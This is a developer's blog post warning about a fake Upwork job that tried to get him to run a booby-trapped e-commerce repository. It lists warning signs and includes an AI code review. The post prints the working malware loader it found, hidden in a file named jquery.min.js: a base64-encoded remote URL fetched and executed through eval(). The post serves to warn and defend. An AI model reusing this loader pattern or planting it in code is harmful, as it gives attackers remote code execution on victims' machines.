Incode Group developer Dmytro Mamonov exposed scammers on Upwork and shared his story so that others could recognize dishonest customers. Read about how to identify threats, recognize fraudulent schemes, and what to do in such cases.
I recently received an offer to “evaluate the functionality and possibility of creating a replica of an e-commerce project.” They asked if I could install it, check if everything worked, and after launching it, write back and send a screenshot to confirm that everything was correct.
At first glance, the repository seemed quite adequate: the goal, description of the store’s functions, crypto payments, product catalog, admin panel.
Three warning signs that should not be ignored
1. First warning sign! Open repository
At first, I did not pay much attention to the fact that the repository was open to the public. I also have open projects, so to speak, in open-source. Therefore, this went unnoticed.
2. Second warning! Structural chaos
When I cloned the repository and started looking at the project structure, the first thing that came to mind was “complete chaos”. One part resembles one architectural pattern, the second resembles another, and the third looks like garbage. Okay, people are different, they write differently. That’s why most of us get involved in projects — to fix something.
3. Third call! Conflicting dependencies and lack of architecture
I went to see what dependencies were used in the project to understand which ones I knew and which ones I didn’t.
The first thing that caught my eye:
- The README mentions MongoDB, but the code mentions MySQL, and there are many other similar examples. There was even Spring in the dependencies — this is called a “technology zoo.”
- Stripe payments are completely commented out.
- Routes are broken or commented out, and some components are not connected.
- Overall, there is no architecture.
I explained this chaos to myself as follows: they took a piece of code from somewhere and wanted to restore the product after a scandalous breakup, or they just stole it, and in order to somehow put it together and be able to show it, they commented out everything that was broken.
Fourth warning sign — potentially the last one
It was time to look at the code and business logic — I decided to assign the task to Codex agent (GPT): to conduct an analysis. After 5 minutes of deliberation, it delivered its verdict: “The project is a Frankenstein that could not be assembled in principle, it is nothing, especially the backend.”
To the human eye, everything is there: imports and exports — twisted, tortured, everything refers to everything else, and it’s hard to say right away that it’s a scam without sufficient experience.
In the security analysis section, GPT issued: “Critical vulnerability: during the build, a third-party file eval() call is executed.”
I immediately looked at what exactly was being called. There was a maze of calls — all disguised under names like loger, debug, etc. And at the end, there was a call to the jquery.min.js file, which contained:
const AUTH_API_KEY = "aHR0cDovL2NvcmVkZWFsLnZlcmNlbC5hcHAvYXBpL2lwLWNoZWNr";// Error handling - close server
(async () => {
const src = atob(AUTH_API_KEY);
const proxy = (await import('node-fetch')).default;
try {
const response = await proxy(src);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const proxyInfo = await response.text();
eval(proxyInfo);
} catch (err) {
console.error('Auth Error!', err);
}
})();
This meant that the file downloaded remote JavaScript from an unknown server (the src address is decoded from AUTH_API_KEY) and executed it via eval() — potentially giving full remote access to the system. In fact, it was a malware loader.
And then I remembered the customer’s request to write back when I had everything ready and show screenshots to prove that everything was working correctly. Everything fell into place. The launch itself was the trigger for executing the code — they were waiting for my signal. But things didn’t turn out as expected.
Conclusion
How to recognize a fraudulent scheme (non-exhaustive list):
- You are forced to run something locally; sometimes as quickly as possible, or even during an online interview.
- The code contains at least eval.
What to do in such cases:
- Always check the code before running it.
- Refuse to run anything locally without checking it first. If you are pressured to do so, it is 100% a scam. A normal company would never do this, so there is no point in continuing the conversation.
📌 Additionally: the article From job offer to malware: developers, be cautious! describes how this scheme works.
